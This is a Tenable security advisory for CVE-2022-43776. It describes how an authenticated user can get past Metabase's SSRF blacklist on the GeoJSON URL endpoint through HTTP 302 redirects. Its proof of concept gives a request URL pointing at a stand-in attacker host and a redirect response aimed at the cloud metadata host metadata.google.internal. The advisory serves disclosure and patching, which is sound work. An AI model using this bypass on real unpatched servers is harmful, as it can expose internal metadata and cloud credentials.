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SSRF in Metabase GeoJSON URL

Medium

Synopsis

A researcher at Tenable discovered an SSRF vulnerability in Metabase < 44.5.

Background

There is a feature in the /api/geojson endpoint of Metabase which will make a web request to a user-specified url on behalf of an authenticated user. This was reported as an SSRF vulnerability in 2021 as CVE-2021-41277. Metabase released a patch to prevent the loading of local files, and blacklist a number of specific hosts related to metadata endpoints for cloud-hosted Metabase instances.

Unfortunately, that patch did not account for 301 or 302 redirect responses, so the blacklist of such metadata endpoints could be circumvented.

Details

The blacklisting of link-local addresses can be circumvented using HTTP 301/302 redirects. Directing the url parameter to an attacker-controlled site which responds with a 301 or 302 redirect to an otherwise blocked ip address/domain allows an attacker to bypass the mitigation for CVE-2021-41277.

Proof of Concept:
Attempting to navigate to http://<metabaseHost>:3000/api/geojson?url=http://metadata.google.internal results in the error message: 
Invalid GeoJSON file location: must either start with http:// or https://...etc

However, navigating to an attacker controlled page http://<metabaseHost>:3000/api/geojson?url=http://attackerServer.example/ which responds with the following 302 response:

HTTP/1.0 302 Found
Server: BaseHTTP/0.6 Python/3.9.12
Date: Thu, 15 Sep 2022 20:24:43 GMT
Location: http://metadata.google.internal/

will redirect Metabase to the prohibited address (in this case, http://metadata.google.internal/), potentially allowing an attacker to reveal sensitive information.

Solution

Metabase has addressed the redirect issue in Metabase version 44.5

Disclosure Timeline

15 September 2022 - Issue reported to Metabase
16 September 2022 - Issue confirmed by Metabase
7 October 2022 - Tenable inquires whether there have been any updates
25 October 2022 - Metabase responds, noting that a patch has been released.

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Risk Information

CVE ID: CVE-2022-43776
Tenable Advisory ID: TRA-2022-34
Credit:
Ronan Donohue
CVSSv3 Base / Temporal Score:
4.3
CVSSv3 Vector:
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected Products:
Metabase < 44.5
Risk Factor:
Medium

Advisory Timeline

25 October 2022 - Advisory published

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